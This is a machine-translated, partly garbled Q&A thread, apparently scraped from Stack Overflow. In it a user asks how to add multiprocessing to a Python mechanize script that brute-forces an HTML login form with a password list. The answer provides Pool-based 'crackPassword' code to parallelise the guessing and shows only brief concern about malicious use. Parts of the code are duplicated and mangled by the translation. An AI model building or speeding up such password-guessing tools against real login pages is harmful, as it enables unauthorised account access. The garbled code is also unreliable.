如何在for-python循环中使用多处理
我有一个使用python mechanize和bruteforce html表单的脚本。这是一个for循环,用于检查“PassList”中的每个密码,并通过检查重定向的url运行,直到它与当前密码匹配为止。我如何在这里实现多处理如何在for-python循环中使用多处理,python,multiprocessing,mechanize-python,Python,Multiprocessing,Mechanize Python,我有一个使用python mechanize和bruteforce html表单的脚本。这是一个for循环,用于检查“PassList”中的每个密码,并通过检查重定向的url运行,直到它与当前密码匹配为止。我如何在这里实现多处理 for x in PasswordList: br.form['password'] = ''.join(x) print "Bruteforce in progress.. checking : ",br.form['passwor
for x in PasswordList:
br.form['password'] = ''.join(x)
print "Bruteforce in progress.. checking : ",br.form['password']
response=br.submit()
if response.geturl()=="http://192.168.1.106/success.html":
#url to which the page is redirected after login
print "\n Correct password is ",''.join(x)
break
来自多处理导入池的
def process_bruteforce(密码列表):
如果uuuu name uuuuuu='\uuuuuuu main\uuuuuuu':
池=池(进程=4)#每个核心进程
is_connected=pool.map(进程\u bruteforce,密码列表)
我会尝试类似的方法我希望这不是出于恶意目的 我从未使用过python mechanize,但鉴于您没有答案,我可以分享我所知道的,您可以相应地修改它 一般来说,它需要有自己的函数,然后调用pool over。我不知道你的br对象,但我可能会建议有很多这样的对象,以防止任何冲突。(可以尝试使用相同的br对象tho,相应地修改代码)
再一次,这不是一个完整的答案,只是一个关于如何进行多处理的一般指南我想这不是为了恶意目的,我的意思是,它不够复杂,不足以真正有效,如果目标有验证码,它将不起作用。谢谢你的回复。这只是出于测试目的,没有恶意,这里br=mechanize.Browser()
from multiprocessing import Pool
def process_bruteforce(PasswordList):
<process>
if __name__ == '__main__':
pool = Pool(processes=4) # process per core
is_connected = pool.map(process_bruteforce, PasswordList)
list_of_br_and_passwords = [[br_obj,'password1'],[br_obj,'password2'] ...]
from multiprocessing import Pool
from multiprocessing import cpu_count
def crackPassword(lst):
br_obj = lst[0]
password = lst[1]
br.form['password'] = ''.join(password)
print "Bruteforce in progress.. checking : ",br.form['password']
response=br.submit()
pool = Pool(cpu_count() * 2)
crack_password = pool.map(crackPassword,list_of_br_and_passwords)
pool.close()